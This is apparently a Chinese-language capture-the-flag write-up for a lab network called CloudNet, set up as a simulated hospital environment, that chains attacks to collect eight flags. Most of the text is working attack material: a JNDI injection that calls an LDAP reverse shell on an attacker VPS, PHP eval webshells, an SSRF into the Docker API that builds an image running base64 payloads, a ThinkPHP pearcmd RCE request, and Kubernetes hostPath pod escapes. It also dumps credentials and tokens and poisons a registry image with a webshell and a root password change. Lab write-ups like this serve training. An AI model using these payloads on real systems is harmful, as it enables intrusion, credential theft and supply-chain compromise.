春秋云境-多维挑战-CloudNet-WP
字数 1548 2025-08-22 12:23:06
CloudNet渗透测试实战教学文档
1. 目标环境概述
目标系统是一个包含多个组件的复杂网络环境,主要涉及以下服务:
- O2OA办公系统(8080端口)
- MinIO对象存储(9000端口)
- Harbor镜像仓库(80端口)
- Kubernetes集群(多个节点)
- 医院内部平台(80端口)
- 极致CMS系统
2. 初始信息收集
2.1 端口扫描结果
39.99.148.11:25 open
39.99.148.11:110 open
39.99.148.11:22 open
39.99.148.11:80 open
39.99.148.11:8080 open
2.2 Web服务识别
- http://39.99.148.11: 广城市人民医院
- http://39.99.148.11:8080: O2OA系统
3. Flag1获取:O2OA系统漏洞利用
3.1 O2OA漏洞利用
O2OA系统存在CNVD-2020-18740漏洞,允许远程命令执行。
利用步骤:
- 使用默认凭证登录:xadmin/o2oa@2022
- 添加恶意接口代码:
var a = mainOutput();
function mainOutput() {
var aaa = Java.type("javax.naming.InitialContext");
aaa.doLookup("ldap://vpsip:1389/Deserialization/CommonsBeanutils1/ReverseShell/vpsip/250");
};
- 使用JNDIExploit工具监听:
java -jar JNDIExploit-2.0-SNAPSHOT.jar -l 1389 -p 8000 -i vpsip
3.2 获取凭证
在服务器配置文件中发现敏感信息:
grep -r "password" config
找到MinIO凭证:
"username": "bxBZOXDlizzuujdR",
"password": "TGdtqwJbBrEMhCCMDVtlHKU="
4. Flag2获取:MinIO利用
4.1 连接MinIO
使用获取的凭证连接MinIO服务:
地址:172.22.18.29:9000
用户:bxBZOXDlizzuujdR
密码:TGdtqwJbBrEMhCCMDVtlHKU=
4.2 上传WebShell
- 上传PHP webshell文件:
<?php eval($_POST['chu0']);?>
- 访问webshell获取flag:
http://39.98.108.142/shell.php
flag位于根目录。
5. Flag3获取:Docker API SSRF漏洞利用
5.1 利用MinIO的SSRF漏洞
通过MinIO的SSRF漏洞访问Docker API(2375端口)。
步骤:
- 创建恶意Dockerfile:
FROM 172.22.18.64/public/mysql:5.6
RUN echo IyEvdXNyL2Jpbi9lbnYgYmFzaAo... | base64 -d > /tmp/1.sh
RUN chmod +x /tmp/1.sh && /tmp/1.sh
- 设置PHP重定向服务:
<?php
header('Location: http://127.0.0.1:2375/build?remote=http://172.22.18.23/Dockerfile&nocache=true&t=evil:1', false, 307);
?>
- 通过MinIO的WebRPC接口触发SSRF:
POST /minio/webrpc HTTP/1.1
Host: 172.22.18.23:8081
Content-Type: application/json
{
"id": 1,
"jsonrpc": "2.0",
"params": {
"token": "Test"
},
"method": "web.LoginSTS"
}
6. Flag4获取:极致CMS漏洞利用
6.1 利用ThinkPHP RCE漏洞
GET /index.php?+config-create+/&l=usr/local/lib/php/pearcmd&/<?=eval($_POST[1]);?>+/var/www/html/shell1.php HTTP/1.1
6.2 获取数据库凭证
在配置文件中发现MySQL凭证:
'db' => array (
'host' => 'mysql',
'dbname' => 'jizhicms',
'username' => 'root',
'password' => 'Mysqlroot@!123',
'prefix' => 'jz_',
'port' => '3306'
),
6.3 获取Kubernetes Token
通过MySQL UDF提权后读取Kubernetes token:
select load_file("/var/run/secrets/kubernetes.io/serviceaccount/token");
7. Flag5获取:Kubernetes Master节点控制
7.1 使用Token访问Dashboard
kubectl -s https://172.22.15.75:6443/ --insecure-skip-tls-verify=true --token=eyJhbGciOiJSUzI1NiIsImtpZCI6IlRSaDd3eFBhYXFNTkg5OUh0TnNwcW00c0Zpand4LUliXzNHRU1raXFjTzQifQ...
7.2 创建特权Pod进行逃逸
apiVersion: v1
kind: Pod
metadata:
name: control-master-x
spec:
tolerations:
- key: node-role.kubernetes.io/master
operator: Exists
effect: NoSchedule
containers:
- name: control-master-x
image: 172.22.18.64/public/mysql:5.6
command: ["/bin/sleep", "3650d"]
volumeMounts:
- name: master
mountPath: /tmp
volumes:
- name: master
hostPath:
path: /
type: Directory
8. Flag6获取:Kubernetes Node2节点
8.1 指定Pod到Node2节点
apiVersion: v1
kind: Pod
metadata:
name: control-master-x1
spec:
tolerations:
- key: node-role.kubernetes.io/master
operator: Exists
effect: NoSchedule
containers:
- name: control-master-x
image: 172.22.18.64/public/mysql:5.6
command: ["/bin/sleep", "3650d"]
volumeMounts:
- name: master
mountPath: /tmp
volumes:
- name: master
hostPath:
path: /
type: Directory
nodeSelector:
kubernetes.io/hostname: node2
9. Flag7获取:Harbor镜像仓库
9.1 获取Harbor凭证
kubectl get secret harbor-registry-secret -o jsonpath='{.data.\.dockerconfigjson}' | base64 --decode
输出:
{
"auths": {
"172.22.18.64": {
"username": "admin",
"password": "password@nk9DLwqce",
"auth": "YWRtaW46cGFzc3dvcmRAbms5REx3cWNl"
}
}
}
9.2 拉取flag镜像
docker login 172.22.18.64
docker pull 172.22.18.64/hospital/flag:latest
docker run -id --name flag 172.22.18.64/hospital/flag
docker exec -it flag /bin/bash
cat /flag
10. Flag8获取:镜像替换攻击
10.1 构建恶意镜像
Dockerfile内容:
FROM 172.22.18.64/hospital/system
RUN echo ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+JyA+IC92YXIvd3d3L2h0bWwvc2hlbGwucGhwICYmIGNobW9kIHUrcyAvdXNyL2Jpbi9maW5k | base64 -d | bash && echo password | echo ZWNobyAicm9vdDpwYXNzd29yZCIgfCBjaHBhc3N3ZA== | base64 -d | bash
ENTRYPOINT ["/usr/sbin/apache2ctl", "-D", "FOREGROUND"]
10.2 上传并等待自动拉取
- 构建并推送镜像:
docker build -t 172.22.18.64/hospital/system .
docker push 172.22.18.64/hospital/system
- 等待约20分钟让系统自动拉取新镜像
10.3 获取shell
- 访问webshell:
http://172.22.50.45/shell.php
- 使用find命令反弹shell:
/usr/bin/find ./ -exec ./1.sh \;
关键知识点总结
- O2OA漏洞利用:CNVD-2020-18740漏洞允许通过LDAP注入实现RCE
- MinIO利用:通过配置文件中泄露的凭证访问对象存储
- SSRF到Docker API:利用MinIO的SSRF漏洞访问内网Docker API
- ThinkPHP RCE:通过pearcmd.php实现任意文件写入
- Kubernetes横向移动:
- 通过Service Account Token访问集群
- 使用特权容器实现节点逃逸
- 通过nodeSelector定位特定节点
- Harbor镜像替换攻击:通过更新自动拉取的镜像实现持久化访问
- 容器逃逸技术:
- 特权容器挂载主机根目录
- 利用find命令执行反弹shell
防御建议
- 及时更新O2OA等系统到最新版本
- 限制Docker API的访问,禁用2375端口的公开访问
- 加强Service Account权限管理
- 避免在配置文件中硬编码敏感信息
- 实施镜像签名验证,防止恶意镜像替换
- 限制容器的特权模式使用
- 加强网络隔离,防止内网横向移动